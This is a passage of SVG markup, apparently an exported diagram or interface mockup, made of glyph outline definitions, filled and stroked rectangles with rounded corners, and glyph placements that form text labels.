-1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="x"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="y"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="z"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="A"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="B"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="C"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="D"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="F"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="G"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="H"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="I"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="J"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="K"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol><symbol overflow="visible" id="U"><path d="M 0 2.515625 L 6.015625 2.515625 L 6.015625 3.6875 L 0 3.6875 Z M 0 2.515625"/></symbol><symbol overflow="visible" id="V"><path d="M 5.875 -9 L 7.46875 -3.75 L 7.796875 -2.015625 L 7.828125 -2.015625 L 8.09375 -3.78125 L 9.328125 -9 L 10.546875 -9 L 8.15625 0.203125 L 7.421875 0.203125 L 5.59375 -5.703125 L 5.34375 -7.21875 L 5.3125 -7.21875 L 5.0625 -5.6875 L 3.296875 0.203125 L 2.5625 0.203125 L 0.09375 -9 L 1.46875 -9 L 2.859375 -3.765625 L 3.078125 -2.015625 L 3.109375 -2.015625 L 3.4375 -3.796875 L 4.90625 -9 Z M 5.875 -9"/></symbol><symbol overflow="visible" id="W"><path d="M 7.21875 0 L 1.15625 0 L 1.15625 -12.59375 L 2.5 -12.59375 L 2.5 -1.234375 L 7.21875 -1.234375 Z M 7.21875 0"/></symbol><symbol overflow="visible" id="X"><path d="M 1.6875 -1.203125 L 3.71875 -1.203125 L 3.71875 -9.96875 L 3.890625 -11.03125 L 3.28125 -10.171875 L 1.765625 -8.953125 L 1.078125 -9.75 L 4.359375 -12.8125 L 5.015625 -12.8125 L 5.015625 -1.203125 L 6.984375 -1.203125 L 6.984375 0 L 1.6875 0 Z M 1.6875 -1.203125"/></symbol><symbol overflow="visible" id="Y"><path d="M 5.671875 0 L 5.671875 -5.46875 C 5.671875 -6.3125 5.570312 -6.953125 5.375 -7.390625 C 5.175781 -7.828125 4.78125 -8.046875 4.1875 -8.046875 C 3.769531 -8.046875 3.390625 -7.894531 3.046875 -7.59375 C 2.703125 -7.289062 2.472656 -6.914062 2.359375 -6.46875 L 2.359375 0 L 1.0625 0 L 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.15625 L 2.40625 -8.15625 C 2.644531 -8.46875 2.941406 -8.722656 3.296875 -8.921875 C 3.648438 -9.117188 4.09375 -9.21875 4.625 -9.21875 C 5.019531 -9.21875 5.363281 -9.160156 5.65625 -9.046875 C 5.957031 -8.941406 6.203125 -8.753906 6.390625 -8.484375 C 6.578125 -8.222656 6.71875 -7.875 6.8125 -7.4375 C 6.914062 -7 6.96875 -6.457031 6.96875 -5.8125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.578125 -1.171875 L 3.921875 -7.0625 L 4.546875 -7.828125 L 0.578125 -7.828125 L 0.578125 -9 L 5.828125 -9 L 5.828125 -7.828125 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.828125 -1.171875 L 5.828125 0 L 0.578125 0 Z M 0.578125 -1.171875"/></symbol><symbol overflow="visible" id="aa"><path d="M 7.734375 -0.484375 C 7.441406 -0.234375 7.066406 -0.0546875 6.609375 0.046875 C 6.148438 0.160156 5.671875 0.21875 5.171875 0.21875 C 4.535156 0.21875 3.945312 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.800781 1.3125 -2.472656 1.09375 -3.296875 C 0.882812 -4.128906 0.78125 -5.128906 0.78125 -6.296875 C 0.78125 -7.492188 0.898438 -8.503906 1.140625 -9.328125 C 1.390625 -10.160156 1.71875 -10.832031 2.125 -11.34375 C 2.53125 -11.863281 3 -12.238281 3.53125 -12.46875 C 4.070312 -12.695312 4.625 -12.8125 5.1875 -12.8125 C 5.757812 -12.8125 6.234375 -12.769531 6.609375 -12.6875 C 6.992188 -12.601562 7.320312 -12.503906 7.59375 -12.390625 L 7.265625 -11.15625 C 7.023438 -11.289062 6.742188 -11.394531 6.421875 -11.46875 C 6.097656 -11.539062 5.726562 -11.578125 5.3125 -11.578125 C 4.894531 -11.578125 4.5 -11.484375 4.125 -11.296875 C 3.75 -11.109375 3.414062 -10.804688 3.125 -10.390625 C 2.84375 -9.984375 2.617188 -9.441406 2.453125 -8.765625 C 2.285156 -8.097656 2.203125 -7.273438 2.203125 -6.296875 C 2.203125 -4.546875 2.5 -3.226562 3.09375 -2.34375 C 3.695312 -1.46875 4.492188 -1.03125 5.484375 -1.03125 C 5.898438 -1.03125 6.269531 -1.085938 6.59375 -1.203125 C 6.914062 -1.316406 7.191406 -1.453125 7.421875 -1.609375 Z M 7.734375 -0.484375"/></symbol></defs><path fill="#fff" d="M0 0H722V514H0z"/><path d="M 24.2362 40.852794 L 60.101239 40.852794 L 60.101239 66.190294 L 24.2362 66.190294 Z M 24.2362 40.852794" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 62.446153 L 57.100262 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 26.643622 44.584239 C 26.477997 44.584239 26.343622 44.718419 26.343622 44.884239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 44.884239 C 57.400262 44.718419 57.266083 44.584239 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 44.884239 L 26.343622 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 62.146153 L 26.343622 62.146153 C 26.343622 62.311778 26.477997 62.446153 26.643622 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.100262 62.446153 L 57.100262 62.446153 C 57.266083 62.446153 57.400262 62.311778 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="146.359"/><use xlink:href="#b" x="93.102" y="146.359"/><use xlink:href="#b" x="102.008" y="146.359"/><use xlink:href="#c" x="110.914" y="146.359"/><use xlink:href="#d" x="116.773" y="146.359"/><use xlink:href="#e" x="125.328" y="146.359"/><use xlink:href="#f" x="132.32" y="146.359"/><use xlink:href="#g" x="136.422" y="146.359"/><use xlink:href="#h" x="141.285" y="146.359"/><use xlink:href="#i" x="145.777" y="146.359"/><use xlink:href="#d" x="154.762" y="146.359"/><use xlink:href="#f" x="163.316" y="146.359"/><use xlink:href="#j" x="167.418" y="146.359"/><path d="M 197.3125 118.835938 L 605.3125 118.835938 L 605.3125 158.835938 L 197.3125 158.835938 Z M 197.3125 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 124.835938 L 197.3125 118.835938 C 194 118.835938 191.3125 121.519531 191.3125 124.835938 Z M 197.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 124.835938 L 611.3125 124.835938 C 611.3125 121.519531 608.625 118.835938 605.3125 118.835938 Z M 605.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 124.835938 L 611.3125 124.835938 L 611.3125 152.835938 L 191.3125 152.835938 Z M 191.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 152.835938 L 191.3125 152.835938 C 191.3125 156.148438 194 158.835938 197.3125 158.835938 Z M 197.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 152.835938 L 605.3125 158.835938 C 608.625 158.835938 611.3125 156.148438 611.3125 152.835938 Z M 605.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 46.460997 L 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 48.460997 L 54.451825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 46.460997 L 34.051825 46.460997 C 33.8862 46.460997 33.751825 46.595177 33.751825 46.760997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 46.760997 C 54.751825 46.595177 54.61745 46.460997 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 46.760997 L 33.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 48.160997 L 33.751825 48.160997 C 33.751825 48.326622 33.8862 48.460997 34.051825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 48.460997 L 54.451825 48.460997 C 54.61745 48.460997 54.751825 48.326622 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.3125 161.433594 L 432.511719 161.433594 L 432.511719 184.832031 L 191.3125 184.832031 Z M 191.3125 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#k" x="191.313" y="179.836"/><use xlink:href="#l" x="199.008" y="179.836"/><use xlink:href="#m" x="203.949" y="179.836"/><use xlink:href="#n" x="208.891" y="179.836"/><use xlink:href="#n" x="216.215" y="179.836"/><use xlink:href="#l" x="223.656" y="179.836"/><use xlink:href="#o" x="228.598" y="179.836"/><use xlink:href="#p" x="232.406" y="179.836"/><use xlink:href="#q" x="239.613" y="179.836"/><use xlink:href="#q" x="247.406" y="179.836"/><use xlink:href="#m" x="255.199" y="179.836"/><use xlink:href="#n" x="260.141" y="179.836"/><use xlink:href="#r" x="267.582" y="179.836"/><use xlink:href="#r" x="273.656" y="179.836"/><use xlink:href="#s" x="279.73" y="179.836"/><use xlink:href="#o" x="281.898" y="179.836"/><use xlink:href="#t" x="285.707" y="179.836"/><use xlink:href="#u" x="291.957" y="179.836"/><use xlink:href="#v" x="295.16" y="179.836"/><use xlink:href="#u" x="304.633" y="179.836"/><use xlink:href="#o" x="306.664" y="179.836"/><use xlink:href="#w" x="310.473" y="179.836"/><use xlink:href="#x" x="318.285" y="179.836"/><use xlink:href="#y" x="325.746" y="179.836"/><use xlink:href="#s" x="333.168" y="179.836"/><use xlink:href="#o" x="335.336" y="179.836"/><use xlink:href="#z" x="339.145" y="179.836"/><use xlink:href="#x" x="345.258" y="179.836"/><use xlink:href="#A" x="353.031" y="179.836"/><use xlink:href="#B" x="364.75" y="179.836"/><use xlink:href="#p" x="372.582" y="179.836"/><use xlink:href="#C" x="379.789" y="179.836"/><use xlink:href="#D" x="387.699" y="179.836"/><use xlink:href="#o" x="393.988" y="179.836"/><use xlink:href="#C" x="397.797" y="179.836"/><use xlink:href="#p" x="405.707" y="179.836"/><use xlink:href="#A" x="412.914" y="179.836"/><use xlink:href="#n" x="424.633" y="179.836"/></g><path d="M 48.157489 51.129552 L 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.694989 51.12545 C 44.695184 51.00045 44.82038 50.875645 44.94538 50.875645 C 45.07038 50.875841 45.195184 51.001036 45.194989 51.126036 C 45.194794 51.251036 45.069794 51.375841 44.944794 51.375645 C 44.819794 51.375645 44.694794 51.25045 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="227.695"/><use xlink:href="#b" x="93.102" y="227.695"/><use xlink:href="#b" x="102.008" y="227.695"/><use xlink:href="#c" x="110.914" y="227.695"/><use xlink:href="#d" x="116.773" y="227.695"/><use xlink:href="#e" x="125.328" y="227.695"/><use xlink:href="#f" x="132.32" y="227.695"/><use xlink:href="#g" x="136.422" y="227.695"/><use xlink:href="#h" x="141.285" y="227.695"/><use xlink:href="#i" x="145.777" y="227.695"/><use xlink:href="#d" x="154.762" y="227.695"/><use xlink:href="#f" x="163.316" y="227.695"/><use xlink:href="#E" x="167.418" y="227.695"/><path d="M 197.3125 200.167969 L 605.3125 200.167969 L 605.3125 240.167969 L 197.3125 240.167969 Z M 197.3125 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 206.167969 L 197.3125 200.167969 C 194 200.167969 191.3125 202.855469 191.3125 206.167969 Z M 197.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 206.167969 L 611.3125 206.167969 C 611.3125 202.855469 608.625 200.167969 605.3125 200.167969 Z M 605.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 206.167969 L 611.3125 206.167969 L 611.3125 234.167969 L 191.3125 234.167969 Z M 191.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 234.167969 L 191.3125 234.167969 C 191.3125 237.480469 194 240.167969 197.3125 240.167969 Z M 197.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 234.167969 L 